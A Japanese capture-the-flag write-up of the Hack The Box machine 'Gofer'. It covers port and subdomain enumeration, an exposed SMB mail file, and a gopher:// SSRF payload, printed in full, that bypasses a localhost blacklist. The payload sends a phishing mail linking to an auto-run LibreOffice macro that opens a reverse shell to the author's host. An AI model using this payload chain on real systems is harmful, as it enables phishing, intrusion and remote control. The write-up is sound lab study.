初めに
どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は Hack The Box(以下リンク参照) の「Gofer」にチャレンジした際のWriteupになります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。
※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。
Discovery
ポートスキャン
いつも通りrustscanします。
┌──(root㉿kalimsi)-[~/work]
└─# rustscan -a 10.10.11.225 --top --ulimit 5000
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
🌍HACK THE PLANET🌍
[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.225:22
Open 10.10.11.225:80
Open 10.10.11.225:139
Open 10.10.11.225:445
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
[~] Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-08 09:40 EDT
Initiating Ping Scan at 09:40
Scanning 10.10.11.225 [4 ports]
Completed Ping Scan at 09:40, 0.21s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 09:40
Completed Parallel DNS resolution of 1 host. at 09:40, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 09:40
Scanning 10.10.11.225 [4 ports]
Discovered open port 445/tcp on 10.10.11.225
Discovered open port 139/tcp on 10.10.11.225
Discovered open port 80/tcp on 10.10.11.225
Discovered open port 22/tcp on 10.10.11.225
Completed SYN Stealth Scan at 09:40, 0.21s elapsed (4 total ports)
Nmap scan report for 10.10.11.225
Host is up, received echo-reply ttl 63 (0.19s latency).
Scanned at 2023-08-08 09:40:13 EDT for 1s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
139/tcp open netbios-ssn syn-ack ttl 63
445/tcp open microsoft-ds syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.52 seconds
Raw packets sent: 8 (328B) | Rcvd: 5 (204B)
22、80番といつものPortが開きつつ、SMBのPortも開いている。とりあえず80番を列挙しにかかる。
80にアクセスするとgofer.htb
が解決できないといわれるので、/etc/hosts
に登録しておく。
Collection
サイト探索
Subdomain探索
以下サイトからサブドメインのリストをダウンロード
┌──(root㉿kalimsi)-[~/work]
└─# ffuf -w ./bitquark-subdomains-top100000.txt:FUZZ -u http://gofer.htb/ -H "HOST: FUZZ.gofer.htb" -mc all -fc 301 -t 150
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://gofer.htb/
:: Wordlist : FUZZ: /root/work/bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.gofer.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 150
:: Matcher : Response status: all
:: Filter : Response status: 301
________________________________________________
[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 5949ms]
* FUZZ: proxy
[Status: 400, Size: 301, Words: 26, Lines: 11, Duration: 176ms]
* FUZZ: *
:: Progress: [100000/100000] :: Job [1/1] :: 837 req/sec :: Duration: [0:02:13] :: Errors: 0 ::
proxy
のサブドメインがあるので、これも/etc/hosts
に登録しておく。
ディレクトリ探索
dirsearch
を使用して探索を実施。
┌──(root㉿kalimsi)-[~/work]
└─# dirsearch -u http://gofer.htb/
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /root/.dirsearch/reports/gofer.htb/-_23-08-07_23-30-31.txt
Error Log: /root/.dirsearch/logs/errors-23-08-07_23-30-31.log
Target: http://gofer.htb/
[23:30:32] Starting:
[23:30:38] 403 - 274B - /.ht_wsr.txt
[23:30:38] 403 - 274B - /.htaccess.bak1
[23:30:38] 403 - 274B - /.htaccess.sample
[23:30:39] 403 - 274B - /.htaccess.orig
[23:30:39] 403 - 274B - /.htaccess.save
[23:30:39] 403 - 274B - /.htaccess_extra
[23:30:39] 403 - 274B - /.htaccess_orig
[23:30:39] 403 - 274B - /.htaccessBAK
[23:30:39] 403 - 274B - /.htaccess_sc
[23:30:39] 403 - 274B - /.htaccessOLD
[23:30:39] 403 - 274B - /.htaccessOLD2
[23:30:39] 403 - 274B - /.htm
[23:30:39] 403 - 274B - /.html
[23:30:39] 403 - 274B - /.htpasswds
[23:30:39] 403 - 274B - /.htpasswd_test
[23:30:39] 403 - 274B - /.httr-oauth
[23:30:41] 403 - 274B - /.php
[23:31:16] 301 - 307B - /assets -> http://gofer.htb/assets/
[23:31:16] 200 - 2KB - /assets/
[23:31:44] 200 - 29KB - /index.html
[23:32:17] 403 - 274B - /server-status
[23:32:17] 403 - 274B - /server-status/
Task Completed
サブドメインの方も列挙しておく。
┌──(root㉿kalimsi)-[~/work]
└─# dirsearch -u http://proxy.gofer.htb/
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /root/.dirsearch/reports/proxy.gofer.htb/-_23-08-07_23-39-15.txt
Error Log: /root/.dirsearch/logs/errors-23-08-07_23-39-15.log
Target: http://proxy.gofer.htb/
[23:39:17] Starting:
[23:39:28] 403 - 280B - /.ht_wsr.txt
[23:39:28] 403 - 280B - /.htaccess.bak1
[23:39:28] 403 - 280B - /.htaccess.orig
[23:39:28] 403 - 280B - /.htaccess.sample
[23:39:28] 403 - 280B - /.htaccess.save
[23:39:28] 403 - 280B - /.htaccess_extra
[23:39:28] 403 - 280B - /.htaccessOLD
[23:39:28] 403 - 280B - /.htaccessBAK
[23:39:28] 403 - 280B - /.htaccess_sc
[23:39:28] 403 - 280B - /.htaccess_orig
[23:39:28] 403 - 280B - /.htaccessOLD2
[23:39:28] 403 - 280B - /.htm
[23:39:28] 403 - 280B - /.html
[23:39:28] 403 - 280B - /.htpasswds
[23:39:28] 403 - 280B - /.htpasswd_test
[23:39:28] 403 - 280B - /.httr-oauth
[23:39:30] 403 - 280B - /.php
[23:40:36] 403 - 280B - /server-status
[23:40:36] 403 - 280B - /server-status/
Task Completed
特段いいものは見つからない。
Proxyのサブドメインを与えておいて何もないのは気がかりなのでFFuF
で-mc all
オプションを使い、詳細に探っていく。
┌──(root㉿kalimsi)-[~/work]
└─# ffuf -w ./directory-list-2.3-medium.txt:FUZZ -u http://proxy.gofer.htb/FUZZ.php -mc all -X POST -fs 277 -t 150
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : POST
:: URL : http://proxy.gofer.htb/FUZZ.php
:: Wordlist : FUZZ: /root/work/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 150
:: Matcher : Response status: all
:: Filter : Response size: 277
________________________________________________
[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 1253ms]
* FUZZ: # Copyright 2007 James Fisher
[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 1846ms]
* FUZZ: # directory-list-2.3-medium.txt
[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 2002ms]
* FUZZ: #
[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 2235ms]
* FUZZ: #
[Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 2237ms]
* FUZZ:
[Status: 200, Size: 81, Words: 9, Lines: 2, Duration: 2510ms]
* FUZZ: index
[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 2517ms]
* FUZZ: #
[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 2554ms]
* FUZZ: # license, visit http://creativecommons.org/licenses/by-sa/3.0/
[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 2587ms]
* FUZZ: # Priority ordered case-sensitive list, where entries were found
[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 2862ms]
* FUZZ: #
[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 3264ms]
* FUZZ: # This work is licensed under the Creative Commons
[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 5241ms]
* FUZZ: # Suite 300, San Francisco, California, 94105, USA.
[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 5503ms]
* FUZZ: # Attribution-Share Alike 3.0 License. To view a copy of this
[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 5540ms]
* FUZZ: # or send a letter to Creative Commons, 171 Second Street,
[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 5548ms]
* FUZZ: # on at least 2 different hosts
[Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 175ms]
* FUZZ:
:: Progress: [220560/220560] :: Job [1/1] :: 114 req/sec :: Duration: [0:07:39] :: Errors: 256 ::
あれ、index.php
あるじゃないですか!
ブラウジング
実際にブラウザでアクセスしてみた。その際のBurpの情報を確認してみる。
ほう?urlのパラメータがないと言っているのでつけてみる。
Gofer Proxy
???いや、URLを送付する流れと名前から考察するにGopher
を使うSSRFかな??
SSRF嫌いだから不安だなぁ...
まぁ、あと調査していないPortがあるのでそっちも調査しておく。
SMB
例のごとくsmbclientで探索します。
┌──(root㉿kalimsi)-[~/work]
└─# smbclient -N -L \\\\gofer.htb
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
shares Disk
IPC$ IPC IPC Service (Samba 4.13.13-Debian)
Reconnecting with SMB1 for workgroup listing.
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
protocol negotiation failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available
shares
の階層に突撃できそうなので突撃してみる。
┌──(root㉿kalimsi)-[~/work]
└─# smbclient -N \\\\gofer.htb\\shares
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Sat Oct 29 04:32:08 2022
.. D 0 Fri Apr 28 20:59:34 2023
.backup DH 0 Thu Apr 27 21:49:32 2023
5061888 blocks of size 1024. 1586552 blocks available
smb: \> mask ""
smb: \> prompt OFF
smb: \> recurse ON
smb: \> mget *
getting file \.backup\mail of size 1101 as .backup/mail (1.2 KiloBytes/sec) (average 1.2 KiloBytes/sec)
smb: \> exit
ファイルを発見したので全て取得する呪文を唱えると、mail
のファイルをゲットした。
中身を確認してみる。
From jdavis@gofer.htb Fri Oct 28 20:29:30 2022
Return-Path: <jdavis@gofer.htb>
X-Original-To: tbuckley@gofer.htb
Delivered-To: tbuckley@gofer.htb
Received: from gofer.htb (localhost [127.0.0.1])
by gofer.htb (Postfix) with SMTP id C8F7461827
for <tbuckley@gofer.htb>; Fri, 28 Oct 2022 20:28:43 +0100 (BST)
Subject:Important to read!
Message-Id: <20221028192857.C8F7461827@gofer.htb>
Date: Fri, 28 Oct 2022 20:28:43 +0100 (BST)
From: jdavis@gofer.htb
Hello guys,
Our dear Jocelyn received another phishing attempt last week and his habit of clicking on links without paying much attention may be problematic one day. That's why from now on, I've decided that important documents will only be sent internally, by mail, which should greatly limit the risks. If possible, use an .odt format, as documents saved in Office Word are not always well interpreted by Libreoffice.
PS: Last thing for Tom; I know you're working on our web proxy but if you could restrict access, it will be more secure until you have finished it. It seems to me that it should be possible to do so via <Limit>
Jocelyn
がPhishing MailやっちゃったとかLibreoffice使ってるとかそれっぽい情報が見えてくる。
マクロ付きのMailを送ってリバースシェル待つパターンかな??GopherのSSRFにSMTPのプロトコルがあったはずなのでそれを利用すると予想。
1年前にやったFollinaのBoxはぶっ壊れてたのでちょっと不安だなぁ。
Initial Access
Exploit考察
さっきの情報たちから「GopherのSSRF経由でJocelynにフィッシングメールを送信し、LibreofficeのMalcious Macroを実施させる」といった攻撃ベクトルを思いつくはずだ。注意点としてはGopherで直接Libreofficeを送れないので、こちらでLibreofficeを配信するC2サーバを立てておき、Phishing Mailにはそのリンクを添付すると言ったベクトルにしないといけないことだ。
さて、攻撃のために必要な準備は以下の3点であろう!
- 送信先アドレスの把握
- Malcious Macroの作成(Libreoffice)
- Gopherの初期送信ペイロードの作成
Mail Address
送信先の情報を収集する。SMBから見つけたJocelynにメールを送りたいので、その情報を探すのだ!
そうすると、gofer.htb
のサイトにいい情報を発見する。
SMBで見つけたMailファイルの送信者だと考えられる。みた感じ、メールアドレスの構成はFirst Nameの頭文字
+Last Name
だと予想できる。
Jocelynも見つけたのでこの人のMailAddressはjhudson@gofer.htb
と思われる!
Malcious Macro File
Code to Execute Shell
とりあえずReverse Shellを取るためのMacroを組まなければいけないのですが、Libreoffice初心者なもので、探すのに苦労しました。
Shell関数なるものがあるみたいです。これは使えそうです。
後の構成や気をつける点(自動実行等)は大体VBAと似たようなもんでしょう。Macro付きLibreofficeを作っていきます。
Libreoffice
今回はWriter(OfficeでいうWord)を使いました。適当にlolとテキストを入れておきます。これをlol.odt
として保存します。
Tool
のMacros
からEdit Macros
を選択。
Macro編集画面が出てくるので、このodtファイルにshell
という名前でマクロを作成します。
このマクロに先ほど調べたShell
関数を実装します。ReverseShellのコードはいつもの以下サイトを参考にします。
このマクロが開いた時に自動実行されるように設定します。Organize Macros
からOpen Document
のイベントを選択しこのマクロを選ぶだけです!
これでマクロは完成です!
Gopher - SSRF
SSRFのペイロードを作成します。これには便利なToolのGopherusがあるので、紹介します。
上記Toolで簡易にPayloadが作れるのでやってみます。
┌──(root㉿kalimsi)-[/opt/Gopherus]
└─# python2 gopherus.py --exploit smtp
________ .__
/ _____/ ____ ______ | |__ ___________ __ __ ______
/ \ ___ / _ \\____ \| | \_/ __ \_ __ \ | \/ ___/
\ \_\ ( <_> ) |_> > Y \ ___/| | \/ | /\___ \
\______ /\____/| __/|___| /\___ >__| |____//____ >
\/ |__| \/ \/ \/
author: $_SpyD3r_$
Give Details to send mail:
Mail from : taksec@example.com
Mail To : jhudson@gofer.htb
Subject : Important
Message : <a href="http://10.10.14.32/lol.odt">File</a> is Important
Your gopher link is ready to send Mail:
gopher://127.0.0.1:25/_MAIL%20FROM:taksec%40example.com%0ARCPT%20To:jhudson%40gofer.htb%0ADATA%0AFrom:taksec%40example.com%0ASubject:Important%0AMessage:%3Ca%20href%3D%22http://10.10.14.32/lol.odt%22%3EFile%3C/a%3E%20is%20Important%0A.
-----------Made-by-SpyD3r-----------
Message部分にlol.odtのリンクを差し込んだPayloadができました!
kaliで待受側のサーバを立ち上げます。
┌──(root㉿kalimsi)-[~/work]
└─# python3 -m http.server 80
続いてリバースシェルの待受も立てます。
┌──(root㉿kalimsi)-[~/work]
└─# nc -lvnp 4444
よし、Proxyのサブドメインのurlクエリにさっき作ったSSRFのPayloadを叩き込んでみます。
ん?127
がBlacklist??ならlocalhostで。
ダメか。
色々このBlacklistをバイパスできないか調査していたところ、以下のHackTricksの記事を参考にして、Decimal bypassを試してみたらとおった。
だがSSRFが通ってそうには見えない。
HackTricksの記事を読み込んでみると、Gopherusではなく直書きでペイロードを作っている様子が記載されていたので自分も作ってみる。
※何かMailヘッダで漏れていると反応しないとかあったりするかもだし。
CyberChefさんでURLEncodeし、Payloadを作成する。
ダメじゃん。2回Encodeしてみる??
あ、いけた。でもでlol.odtファイルを取ろうとしてミスしたリクエストを送ってきて404になってる。
ちょいとリンクを調整します。
これを
こうだ!!"
抜いてやったぞ!
はい、来ました。最終的なSSRFのPayloadはこのようになりました。
gopher://2130706433:25/xHELO%2520jhudson%250AMAIL%2520FROM:%253Ctaksec@example.com%253E%250ARCPT%2520TO:%253Cjhudson@gofer.htb%253E%250ADATA%250AFrom:%2520%255Btaksec%255D%2520%253Ctaksec@example.com%253E%250ATo:%2520%253Cjhudson@gofer.htb%253E%250ADate:%2520Tue,%25208%2520Aug%25202023%252014:06:15%2520-0400%250ASubject:%2520Important%250A%250A%253Ca%2520href=%2522http://10.10.14.32/lol.odt%253EFile%253C/a%253E%2520is%2520Important%250A%250A.%250AQUIT%250A
でもReverse Shellが帰って来ません...
ええ...
Reverse Shell
とりあえず帰ってくるまで試すしかないです。
nc mkfifo
sh -i
nc mkfifo sh ver
busybox
interactive shell
とりあえずリバースシェル確立は出来たので、探索のしやすさのためにインタラクティブシェルを確立しとく。
※このままだとTabでの補完が効かなかったり、矢印キーが効かなかったりするので。
python3でいつものptyさん呼び出して、Ctrl+Z
で接続をバックグラウンドにし、以下のコマンドを実行する。
┌──(root㉿kalimsi)-[~/work]
└─# nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.32] from (UNKNOWN) [10.10.11.225] 43148
id
uid=1000(jhudson) gid=1000(jhudson) groups=1000(jhudson),108(netdev)
python3 -c 'import pty; pty.spawn("bash")'
jhudson@gofer:/usr/bin$ ^Z
zsh: suspended nc -lnvp 4444
┌──(root㉿kalimsi)-[~/work]
└─# stty raw -echo; fg
[1] + continued nc -lnvp 4444
export TERM=xterm
jhudson@gofer:/usr/bin$ ^C
jhudson@gofer:/usr/bin$
これで足場は完成である。
Privilege Escalation - Horizontal
何かいい情報がないかサラッと手動で列挙してみたが、いいものはなかった。
とりあえず出し惜しみなしでToolに頼っていこうと思う。
pspy
pspyの実行ファイルを以下のサイトから入手。64bit版をダウンロードしましょう。
┌──(root㉿kalimsi)-[~/work]
└─# wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
実行する。
jhudson@gofer:/tmp$ chmod +x pspy64
jhudson@gofer:/tmp$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2023/08/09 21:28:46 CMD: UID=1000 PID=21900 | ./pspy64
2023/08/09 21:28:46 CMD: UID=0 PID=21863 |
2023/08/09 21:28:46 CMD: UID=106 PID=21862 | bounce -z -t unix -u -c
2023/08/09 21:28:46 CMD: UID=106 PID=21861 | error -t unix -u -c
2023/08/09 21:28:46 CMD: UID=106 PID=21860 | bounce -z -t unix -u -c
2023/08/09 21:28:46 CMD: UID=106 PID=21859 | error -t unix -u -c
2023/08/09 21:28:46 CMD: UID=1000 PID=21822 | bash
2023/08/09 21:28:46 CMD: UID=1000 PID=21821 | python3 -c import pty; pty.spawn("bash")
2023/08/09 21:28:46 CMD: UID=1000 PID=21814 | bash
2023/08/09 21:28:46 CMD: UID=0 PID=21741 |
2023/08/09 21:28:46 CMD: UID=1000 PID=21738 | (sd-pam)
2023/08/09 21:28:46 CMD: UID=1000 PID=21737 | /lib/systemd/systemd --user
2023/08/09 21:28:46 CMD: UID=33 PID=21654 | /usr/sbin/apache2 -k start
2023/08/09 21:28:46 CMD: UID=33 PID=21653 | /usr/sbin/apache2 -k start
2023/08/09 21:28:46 CMD: UID=33 PID=21652 | /usr/sbin/apache2 -k start
2023/08/09 21:28:46 CMD: UID=33 PID=21651 | /usr/sbin/apache2 -k start
2023/08/09 21:28:46 CMD: UID=106 PID=21481 | cleanup -z -t unix -u -c
2023/08/09 21:28:46 CMD: UID=0 PID=21462 |
2023/08/09 21:28:46 CMD: UID=106 PID=21413 | pickup -l -t unix -u -c
2023/08/09 21:28:46 CMD: UID=106 PID=21279 | trivial-rewrite -n rewrite -t unix -u -c
2023/08/09 21:28:46 CMD: UID=0 PID=21094 |
2023/08/09 21:28:46 CMD: UID=106 PID=21077 | cleanup -z -t unix -u -c
2023/08/09 21:28:46 CMD: UID=0 PID=20910 |
2023/08/09 21:28:46 CMD: UID=0 PID=20907 |
2023/08/09 21:28:46 CMD: UID=0 PID=20504 |
2023/08/09 21:28:46 CMD: UID=0 PID=20418 |
2023/08/09 21:28:46 CMD: UID=0 PID=20347 |
2023/08/09 21:28:46 CMD: UID=33 PID=11595 | /usr/sbin/apache2 -k start
2023/08/09 21:28:46 CMD: UID=33 PID=6655 | /usr/sbin/apache2 -k start
2023/08/09 21:28:46 CMD: UID=33 PID=6654 | /usr/sbin/apache2 -k start
2023/08/09 21:28:46 CMD: UID=33 PID=6653 | /usr/sbin/apache2 -k start
2023/08/09 21:28:46 CMD: UID=33 PID=6652 | /usr/sbin/apache2 -k start
2023/08/09 21:28:46 CMD: UID=33 PID=6651 | /usr/sbin/apache2 -k start
2023/08/09 21:28:46 CMD: UID=106 PID=4412 | tlsmgr -l -t unix -u -c
2023/08/09 21:28:46 CMD: UID=106 PID=1509 | qmgr -l -t unix -u
2023/08/09 21:28:46 CMD: UID=0 PID=1507 | /usr/lib/postfix/sbin/master -w
2023/08/09 21:28:46 CMD: UID=0 PID=992 | /usr/sbin/smbd --foreground --no-process-group
2023/08/09 21:28:46 CMD: UID=0 PID=985 | /usr/sbin/smbd --foreground --no-process-group
2023/08/09 21:28:46 CMD: UID=0 PID=984 | /usr/sbin/smbd --foreground --no-process-group
2023/08/09 21:28:46 CMD: UID=0 PID=958 | /usr/sbin/smbd --foreground --no-process-group
2023/08/09 21:28:46 CMD: UID=0 PID=955 | /usr/sbin/apache2 -k start
2023/08/09 21:28:46 CMD: UID=0 PID=939 | /sbin/agetty -o -p -- \u --noclear tty1 linux
2023/08/09 21:28:46 CMD: UID=0 PID=932 | sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
2023/08/09 21:28:46 CMD: UID=0 PID=916 | /usr/sbin/nmbd --foreground --no-process-group
2023/08/09 21:28:46 CMD: UID=0 PID=851 | /sbin/dhclient -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
2023/08/09 21:28:46 CMD: UID=0 PID=748 | /lib/systemd/systemd-logind
2023/08/09 21:28:46 CMD: UID=0 PID=747 | /usr/sbin/rsyslogd -n -iNONE
2023/08/09 21:28:46 CMD: UID=103 PID=744 | /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
2023/08/09 21:28:46 CMD: UID=0 PID=743 | /usr/sbin/cron -f
2023/08/09 21:28:46 CMD: UID=0 PID=739 |
2023/08/09 21:28:46 CMD: UID=0 PID=730 |
2023/08/09 21:28:46 CMD: UID=998 PID=676 | /usr/local/sbin/laurel --config /etc/laurel/config.toml
2023/08/09 21:28:46 CMD: UID=0 PID=672 | /usr/bin/vmtoolsd
2023/08/09 21:28:46 CMD: UID=0 PID=671 | /usr/bin/VGAuthService
2023/08/09 21:28:46 CMD: UID=0 PID=668 | /sbin/auditd
2023/08/09 21:28:46 CMD: UID=104 PID=660 | /lib/systemd/systemd-timesyncd
2023/08/09 21:28:46 CMD: UID=0 PID=639 |
2023/08/09 21:28:46 CMD: UID=0 PID=539 | /lib/systemd/systemd-udevd
2023/08/09 21:28:46 CMD: UID=0 PID=517 | /lib/systemd/systemd-journald
2023/08/09 21:28:46 CMD: UID=0 PID=477 |
2023/08/09 21:28:46 CMD: UID=0 PID=476 |
2023/08/09 21:28:46 CMD: UID=0 PID=261 |
2023/08/09 21:28:46 CMD: UID=0 PID=260 |
2023/08/09 21:28:46 CMD: UID=0 PID=231 |
2023/08/09 21:28:46 CMD: UID=0 PID=230 |
2023/08/09 21:28:46 CMD: UID=0 PID=229 |
2023/08/09 21:28:46 CMD: UID=0 PID=228 |
2023/08/09 21:28:46 CMD: UID=0 PID=227 |
2023/08/09 21:28:46 CMD: UID=0 PID=226 |
2023/08/09 21:28:46 CMD: UID=0 PID=225 |
2023/08/09 21:28:46 CMD: UID=0 PID=224 |
2023/08/09 21:28:46 CMD: UID=0 PID=223 |
2023/08/09 21:28:46 CMD: UID=0 PID=222 |
2023/08/09 21:28:46 CMD: UID=0 PID=221 |
2023/08/09 21:28:46 CMD: UID=0 PID=220 |
2023/08/09 21:28:46 CMD: UID=0 PID=219 |
2023/08/09 21:28:46 CMD: UID=0 PID=218 |
2023/08/09 21:28:46 CMD: UID=0 PID=217 |
2023/08/09 21:28:46 CMD: UID=0 PID=216 |
2023/08/09 21:28:46 CMD: UID=0 PID=215 |
2023/08/09 21:28:46 CMD: UID=0 PID=214 |
2023/08/09 21:28:46 CMD: UID=0 PID=213 |
2023/08/09 21:28:46 CMD: UID=0 PID=212 |
2023/08/09 21:28:46 CMD: UID=0 PID=211 |
2023/08/09 21:28:46 CMD: UID=0 PID=210 |
2023/08/09 21:28:46 CMD: UID=0 PID=209 |
2023/08/09 21:28:46 CMD: UID=0 PID=208 |
2023/08/09 21:28:46 CMD: UID=0 PID=207 |
2023/08/09 21:28:46 CMD: UID=0 PID=206 |
2023/08/09 21:28:46 CMD: UID=0 PID=205 |
2023/08/09 21:28:46 CMD: UID=0 PID=204 |
2023/08/09 21:28:46 CMD: UID=0 PID=203 |
2023/08/09 21:28:46 CMD: UID=0 PID=202 |
2023/08/09 21:28:46 CMD: UID=0 PID=201 |
2023/08/09 21:28:46 CMD: UID=0 PID=200 |
2023/08/09 21:28:46 CMD: UID=0 PID=199 |
2023/08/09 21:28:46 CMD: UID=0 PID=198 |
2023/08/09 21:28:46 CMD: UID=0 PID=197 |
2023/08/09 21:28:46 CMD: UID=0 PID=196 |
2023/08/09 21:28:46 CMD: UID=0 PID=195 |
2023/08/09 21:28:46 CMD: UID=0 PID=194 |
2023/08/09 21:28:46 CMD: UID=0 PID=193 |
2023/08/09 21:28:46 CMD: UID=0 PID=192 |
2023/08/09 21:28:46 CMD: UID=0 PID=191 |
2023/08/09 21:28:46 CMD: UID=0 PID=190 |
2023/08/09 21:28:46 CMD: UID=0 PID=189 |
2023/08/09 21:28:46 CMD: UID=0 PID=188 |
2023/08/09 21:28:46 CMD: UID=0 PID=187 |
2023/08/09 21:28:46 CMD: UID=0 PID=186 |
2023/08/09 21:28:46 CMD: UID=0 PID=185 |
2023/08/09 21:28:46 CMD: UID=0 PID=184 |
2023/08/09 21:28:46 CMD: UID=0 PID=183 |
2023/08/09 21:28:46 CMD: UID=0 PID=182 |
2023/08/09 21:28:46 CMD: UID=0 PID=181 |
2023/08/09 21:28:46 CMD: UID=0 PID=180 |
2023/08/09 21:28:46 CMD: UID=0 PID=179 |
2023/08/09 21:28:46 CMD: UID=0 PID=178 |
2023/08/09 21:28:46 CMD: UID=0 PID=177 |
2023/08/09 21:28:46 CMD: UID=0 PID=176 |
2023/08/09 21:28:46 CMD: UID=0 PID=175 |
2023/08/09 21:28:46 CMD: UID=0 PID=174 |
2023/08/09 21:28:46 CMD: UID=0 PID=173 |
2023/08/09 21:28:46 CMD: UID=0 PID=172 |
2023/08/09 21:28:46 CMD: UID=0 PID=171 |
2023/08/09 21:28:46 CMD: UID=0 PID=170 |
2023/08/09 21:28:46 CMD: UID=0 PID=168 |
2023/08/09 21:28:46 CMD: UID=0 PID=167 |
2023/08/09 21:28:46 CMD: UID=0 PID=166 |
2023/08/09 21:28:46 CMD: UID=0 PID=164 |
2023/08/09 21:28:46 CMD: UID=0 PID=162 |
2023/08/09 21:28:46 CMD: UID=0 PID=161 |
2023/08/09 21:28:46 CMD: UID=0 PID=160 |
2023/08/09 21:28:46 CMD: UID=0 PID=158 |
2023/08/09 21:28:46 CMD: UID=0 PID=157 |
2023/08/09 21:28:46 CMD: UID=0 PID=156 |
2023/08/09 21:28:46 CMD: UID=0 PID=155 |
2023/08/09 21:28:46 CMD: UID=0 PID=154 |
2023/08/09 21:28:46 CMD: UID=0 PID=153 |
2023/08/09 21:28:46 CMD: UID=0 PID=152 |
2023/08/09 21:28:46 CMD: UID=0 PID=151 |
2023/08/09 21:28:46 CMD: UID=0 PID=127 |
2023/08/09 21:28:46 CMD: UID=0 PID=105 |
2023/08/09 21:28:46 CMD: UID=0 PID=104 |
2023/08/09 21:28:46 CMD: UID=0 PID=101 |
2023/08/09 21:28:46 CMD: UID=0 PID=92 |
2023/08/09 21:28:46 CMD: UID=0 PID=91 |
2023/08/09 21:28:46 CMD: UID=0 PID=90 |
2023/08/09 21:28:46 CMD: UID=0 PID=89 |
2023/08/09 21:28:46 CMD: UID=0 PID=88 |
2023/08/09 21:28:46 CMD: UID=0 PID=87 |
2023/08/09 21:28:46 CMD: UID=0 PID=86 |
2023/08/09 21:28:46 CMD: UID=0 PID=85 |
2023/08/09 21:28:46 CMD: UID=0 PID=84 |
2023/08/09 21:28:46 CMD: UID=0 PID=83 |
